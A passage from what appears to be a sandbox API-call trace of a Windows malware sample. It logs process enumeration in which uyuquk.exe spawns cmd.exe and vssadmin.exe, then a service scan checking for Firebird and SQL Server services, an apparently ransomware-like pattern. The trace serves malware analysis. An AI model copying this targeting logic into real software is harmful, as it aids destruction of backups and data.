lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.102] lstrlenW (lpString="svchost.exe") returned 11 [0036.102] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0036.103] lstrlenW (lpString="dwm.exe") returned 7 [0036.103] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0036.103] lstrlenW (lpString="explorer.exe") returned 12 [0036.103] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0036.104] lstrlenW (lpString="spoolsv.exe") returned 11 [0036.104] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0036.104] lstrlenW (lpString="taskhost.exe") returned 12 [0036.104] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0036.105] lstrlenW (lpString="svchost.exe") returned 11 [0036.105] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0036.105] lstrlenW (lpString="taskeng.exe") returned 11 [0036.105] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0036.106] lstrlenW (lpString="taskhost.exe") returned 12 [0036.106] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dear.exe")) returned 1 [0036.106] lstrlenW (lpString="dear.exe") returned 8 [0036.106] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="b costa.exe")) returned 1 [0036.107] lstrlenW (lpString="b costa.exe") returned 11 [0036.107] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rc lock.exe")) returned 1 [0036.107] lstrlenW (lpString="rc lock.exe") returned 11 [0036.107] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="golden_bt_olive.exe")) returned 1 [0036.108] lstrlenW (lpString="golden_bt_olive.exe") returned 19 [0036.108] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hugown.exe")) returned 1 [0036.108] lstrlenW (lpString="hugown.exe") returned 10 [0036.108] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bless_gear_inquiry.exe")) returned 1 [0036.109] lstrlenW (lpString="bless_gear_inquiry.exe") returned 22 [0036.109] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ted_paragraph.exe")) returned 1 [0036.109] lstrlenW (lpString="ted_paragraph.exe") returned 17 [0036.109] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="locked welsh.exe")) returned 1 [0036.110] lstrlenW (lpString="locked welsh.exe") returned 16 [0036.110] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="votejoyceinstructors.exe")) returned 1 [0036.110] lstrlenW (lpString="votejoyceinstructors.exe") returned 24 [0036.110] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lebanon_executives.exe")) returned 1 [0036.111] lstrlenW (lpString="lebanon_executives.exe") returned 22 [0036.111] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="planners.exe")) returned 1 [0036.111] lstrlenW (lpString="planners.exe") returned 12 [0036.111] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="agreements.exe")) returned 1 [0036.112] lstrlenW (lpString="agreements.exe") returned 14 [0036.112] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tray.exe")) returned 1 [0036.113] lstrlenW (lpString="tray.exe") returned 8 [0036.113] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wp std.exe")) returned 1 [0036.280] lstrlenW (lpString="wp std.exe") returned 10 [0036.290] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lesser.exe")) returned 1 [0036.296] lstrlenW (lpString="lesser.exe") returned 10 [0036.305] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-tissue.exe")) returned 1 [0036.311] lstrlenW (lpString="right-tissue.exe") returned 16 [0036.313] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bunch.exe")) returned 1 [0036.320] lstrlenW (lpString="bunch.exe") returned 9 [0036.321] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jam.exe")) returned 1 [0036.324] lstrlenW (lpString="jam.exe") returned 7 [0036.325] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chooseincidence.exe")) returned 1 [0036.325] lstrlenW (lpString="chooseincidence.exe") returned 19 [0036.325] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="numericalrear.exe")) returned 1 [0036.325] lstrlenW (lpString="numericalrear.exe") returned 17 [0036.326] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uponpharmacologyintermediate.exe")) returned 1 [0036.326] lstrlenW (lpString="uponpharmacologyintermediate.exe") returned 32 [0036.326] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expressed-plate-fbi.exe")) returned 1 [0036.326] lstrlenW (lpString="expressed-plate-fbi.exe") returned 23 [0036.327] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="come_wave.exe")) returned 1 [0036.327] lstrlenW (lpString="come_wave.exe") returned 13 [0036.327] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0036.328] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0036.328] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0036.328] lstrlenW (lpString="dllhost.exe") returned 11 [0036.328] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0036.329] lstrlenW (lpString="dllhost.exe") returned 11 [0036.329] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0036.329] lstrlenW (lpString="uyuquk.exe") returned 10 [0036.329] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x970, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0036.330] lstrlenW (lpString="cmd.exe") returned 7 [0036.330] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0036.330] lstrlenW (lpString="conhost.exe") returned 11 [0036.330] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0036.331] lstrlenW (lpString="vssadmin.exe") returned 12 [0036.331] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0036.331] lstrlenW (lpString="VSSVC.exe") returned 9 [0036.342] Process32NextW (in: hSnapshot=0x194, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0036.342] CloseHandle (hObject=0x194) returned 1 [0036.342] Sleep (dwMilliseconds=0x1f4) [0037.110] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x566d40 [0037.116] EnumServicesStatusExW (in: hSCManager=0x566d40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 0 [0037.116] GetLastError () returned 0xea [0037.116] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x123e) returned 0x55e478 [0037.116] EnumServicesStatusExW (in: hSCManager=0x566d40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x55e478, cbBufSize=0x123e, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x55e478, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 1 [0037.117] CloseServiceHandle (hSCObject=0x566d40) returned 1 [0037.117] lstrlenW (lpString="Appinfo") returned 7 [0037.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0037.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0037.117] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0037.117] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0037.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0037.117] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0037.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0037.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0037.117] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0037.117] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0037.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0037.117] lstrlenW (lpString="AudioSrv") returned 8 [0037.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0037.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0037.118] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0037.118] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0037.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0037.118] lstrlenW (lpString="BFE") returned 3 [0037.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0037.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0037.118] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0037.118] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0037.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0037.118] lstrlenW (lpString="CryptSvc") returned 8 [0037.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0037.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0037.118] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0037.118] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0037.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0037.118] lstrlenW (lpString="CscService") returned 10 [0037.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0037.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0037.118] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0037.118] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0037.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0037.118] lstrlenW (lpString="DcomLaunch") returned 10 [0037.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0037.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0037.118] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0037.118] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0037.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0037.118] lstrlenW (lpString="Dhcp") returned 4 [0037.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0037.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0037.118] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0037.118] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0037.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0037.119] lstrlenW (lpString="Dnscache") returned 8 [0037.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0037.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0037.119] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0037.119] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0037.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0037.119] lstrlenW (lpString="DPS") returned 3 [0037.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0037.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0037.119] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0037.119] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0037.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0037.119] lstrlenW (lpString="eventlog") returned 8 [0037.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0037.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0037.119] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0037.119] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0037.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0037.119] lstrlenW (lpString="EventSystem") returned 11 [0037.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0037.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0037.119] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0037.119] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0037.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0037.119] lstrlenW (lpString="gpsvc") returned 5 [0037.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0037.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0037.119] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0037.119] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0037.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0037.119] lstrlenW (lpString="iphlpsvc") returned 8 [0037.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0037.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0037.120] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0037.120] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0037.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0037.120] lstrlenW (lpString="LanmanServer") returned 12 [0037.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0037.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0037.120] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0037.120] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0037.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0037.120] lstrlenW (lpString="LanmanWorkstation") returned 17 [0037.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0037.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0037.120] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0037.120] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0037.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0037.120] lstrlenW (lpString="lmhosts") returned 7 [0037.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0037.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0037.120] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0037.120] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0037.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0037.120] lstrlenW (lpString="MMCSS") returned 5 [0037.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0037.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0037.120] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0037.120] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0037.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0037.120] lstrlenW (lpString="MpsSvc") returned 6 [0037.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0037.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0037.120] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0037.120] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0037.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0037.121] lstrlenW (lpString="Netman") returned 6 [0037.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0037.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0037.121] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0037.121] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0037.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0037.121] lstrlenW (lpString="netprofm") returned 8 [0037.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0037.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0037.121] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0037.121] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0037.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0037.121] lstrlenW (lpString="NlaSvc") returned 6 [0037.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0037.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0037.121] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0037.121] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0037.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0037.121] lstrlenW (lpString="nsi") returned 3 [0037.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0037.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0037.121] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0037.121] lstrcmpiW 